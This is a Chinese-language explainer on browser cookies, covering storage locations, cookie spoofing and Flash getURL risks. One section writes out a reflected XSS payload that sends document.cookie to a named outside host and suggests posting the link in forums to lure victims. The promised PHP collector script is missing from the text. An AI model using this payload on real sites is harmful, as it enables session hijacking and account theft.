Cookie在英文中是小甜品的意思,而這個詞我們總能在瀏覽器中看到,食品怎么會跟瀏覽器扯上關系呢?在你瀏覽以前登陸過的網站時可能會在網頁中出現:你好XX,感覺很親切,就好像是吃了一個小甜品一樣。這其實是通過訪問你主機里邊的一個文件來實現的,因此這個文件也就被稱為了Cookie。想全面了解Cookie嗎?看看下文吧! 一.了解Cookie 適用對象:初級讀者 Cookie是當你瀏覽某網站時,網站存儲在你機器上的一個小文本文件,它記錄了你的用戶ID,密碼、瀏覽過的網頁、停留的時間等信息,當你再次來到該網站時,網站通過讀取Cookie,得知你的相關信息,就可以做出相應的動作,如在頁面顯示歡迎你的標語,或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的“工具/Internet選項”的“常規”選項卡中,選擇“設置/查看文件”,查看所有保存到你電腦里的Cookie。這些文件通常是以user@domain格式命名的,user是你的本地用戶名,domain是所訪問的網站的域名。如果你使用NetsCape瀏覽器,則存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,與IE不同的是,NETSCAPE是使用一個Cookie 文件記錄所有網站的Cookies。 Cookie中的內容大多數經過了加密處理,因此在我們看來只是一些毫無意義的字母數字組合,只有服務器的CGI處理程序才知道它們真正的含義。通過一些軟件我們可以查看到更多的內容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它為我們提供了Server、Expires、Name、Value等選項的內容。其中,Server是存儲Cookie的網站,Expires記錄了Cookie的時間和生命期,Name和value字段則是具體的數據(本報第10期第42版對該軟件有詳細介紹)。 三、Cookie的編程實現 適用對象:高級讀者 1.分析并構造URL 首先打開我們要收集Cookie的網站,這里假設是http://www.XXX.net,登陸網站輸入用戶名“<A1>”(不含引號),對數據進行分析抓包,得到形如“http://www.XXX.net/txl/login/login.pl?username=<A1>&passwd=&ok.x=28&ok.y=6”的代碼,將“<A1>”更換為“<script>alert(document.cookie)</script>”再試;如果執行成功,就開始構造URL:“http://www.XXX.net/txl/login/login.pl?username=<script>window.open("http://www.cbifamily.org/cbi.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能夠控制的某臺主機上的一個腳本。需要注意的是“%2B”為符號“+”的URL編碼,因為“+”將被作為空格處理。該URL就可以在論壇中發布,誘使別人點擊了。 2.編制PHP腳本 該腳本的作用就是收集Cookie文件,具體內容如下: 四、Cookie的安全問題 適用對象:所有希望上網安全的讀者 1.Cookie欺騙 Cookie記錄著用戶的帳戶ID、密碼之類的信息,如果在網上傳遞,通常使用的是MD5方法加密。這樣經過加密處理后的信息,即使被網絡上一些別有用心的人截獲,也看不懂,因為他看到的只是一些無意義的字母和數字。然而,現在遇到的問題是,截獲Cookie的人不需要知道這些字符串的含義,他們只要把別人的Cookie向服務器提交,并且能夠通過驗證,他們就可以冒充受害人的身份,登陸網站。這種方法叫做Cookie欺騙。Cookie欺騙實現的前提條件是服務器的驗證程序存在漏洞,并且冒充者要獲得被冒充的人的Cookie信息。目前網站的驗證程序要排除所有非法登錄是非常困難的,例如,編寫驗證程序使用的語言可能存在漏洞。而且要獲得別人Cookie是很容易的,用支持Cookie的語言編寫一小段代碼就可以實現(具體方法見三),只要把這段代碼放到網絡里,那么所有人的Cookie都能夠被收集。如果一個論壇允許HTML代碼或者允許使用Flash標簽就可以利用這些技術收集Cookie的代碼放到論壇里,然后給帖子取一個吸引人的主題,寫上有趣的內容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至于如何防范,目前還沒有特效藥,我們也只能使用通常的防護方法,不要在論壇里使用重要的密碼,也不要使用IE自動保存密碼的功能,以及盡量不登陸不了解底細的網站。 2.Flash的代碼隱患 Flash中有一個getURL()函數,Flash可以利用這個函數自動打開指定的網頁。因此它可能把你引向一個包含惡意代碼的網站。打個比方,當你在自己電腦上欣賞精美的Flash動畫時,動畫幀里的代碼可能已經悄悄地連上網,并打開了一個極小的包含有特殊代碼的頁面。這個頁面可以收集你的Cookie、也可以做一些其他的事情,比如在你的機器上種植木馬甚至格式化你的硬盤等等。對于Flash的這種行為,網站是無法禁止的,因為這是Flash文件的內部行為。我們所能做到的,如果是在本地瀏覽盡量打開防火墻,如果防火墻提示的向外發送的數據包并不為你知悉,最好禁止。如果是在Internet上欣賞,最好找一些知名的大網站。 |
溫馨提示:喜歡本站的話,請收藏一下本站!